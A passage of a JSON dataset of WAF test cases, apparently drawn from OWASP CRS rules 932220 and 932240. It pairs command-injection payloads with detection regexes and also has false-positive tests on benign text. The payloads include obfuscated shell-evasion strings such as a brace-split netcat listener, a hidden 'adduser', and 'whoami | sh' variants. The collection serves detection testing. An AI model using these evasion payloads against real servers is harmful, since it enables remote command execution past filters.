}, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block evasion using here string with double quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=cat<<<$(whoami | sh)\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\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0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block evasion using here string with command substitution" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time whoami | sh\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\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?(?:y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?)?)(?:[\\s\\x0b&\\),<>\\|]|$).*|i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block `time` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=strace whoami | sh\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[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\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?|r[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?)?)(?:[\\s\\x0b&\\),<>\\|]|$).*|i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block `strace` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=nohup whoami | sh\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i).\\|(?:[\\s\\x0b]*|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c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\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?d|x[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?z)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?|r[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?)?)(?:[\\s\\x0b&\\),<>\\|]|$).*|i[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10}|(?:[\\s\\x0b&\\),<>\\|]|$).*))))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932220", "test_description": "Block `nohup` prefix" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=garb=adduse[r];$garb pizza\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "globbing technique 1: garb=cur[l];$garb+google.com (BB X)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd={n$u\\c$u,-nlvp,777}\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "globbing technique 2: {n$u\\c$u,-nlvp,777} (BB X)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=v='u';cu$v\\\\r\\l google.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "vars + spacing: v=\"u\";cu$v\\\\r\\l google.com (BB X)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=cu$@rl google.com\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "vars + spacing: non-existing vars: cu$@rl (BB X)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "text=Schauen%20Sie%20sich%20diese%20Zahl%20an%3A%201%27000%27000\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Negative test on German numbering - Schauen Sie sich diese Zahl an:1'000'000" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "data%5Bwp-refresh-post-lock%5D%5Block%5D=1667487208%3A1&data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=1&interval=60&_nonce=25ed3b910d&action=heartbeat&screen_id=post&has_focus=false\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Negative test on WordPress like args" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=\"\"p\"\"y\"\"t\"\"h\"\"o\"\"n\"\"3\"\".\"\"1\"\"0\"\"%20\"\"c\"\"m\"\"d\"\"" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Unix Command Injection - python version bypass test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ping``%20127.0.0.1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Backticks command subtition WAF evasion" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=pi``ng%20127.0.0.1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Backticks command subtition WAF evasion (mid command)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=ping$()%20127.0.0.1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Dollar sign command subtition WAF evasion" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=pi$()ng%20127.0.0.1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Dollar sign command subtition WAF evasion (mid command)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=pi<()ng%20127.0.0.1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Process subtition '<()' WAF evasion (mid command)" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "x=pi>()ng%20127.0.0.1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Process subtition '>()' WAF evasion (mid command)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=All told, people were taken with the concept of Stadia, but the execution just didn't work.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "FP against single quote inside string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=kill '-'9\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Detect quote evasion: kill '-'9" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=An affordable housing advocate says the city's rewrite of the land development code would boost affordable housing, but there's room to do more.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "False positive against quote evasion with two quotes" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=py''thon -c \"print('attack')\"\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Detect quote evasion: py''thon" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=%7B%22name%22:%22John%20Doe%22,%22age%22:%2230%22,%22email%22:%22johndoe@example.com%22%7D\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "False Positive URL encoded JSON payloaded\n{\"name\":\"John Doe\",\"age\":\"30\",\"email\":\"johndoe@example.com\"}\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=%5B%22account%22%2C%22sharing%22%5D\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": 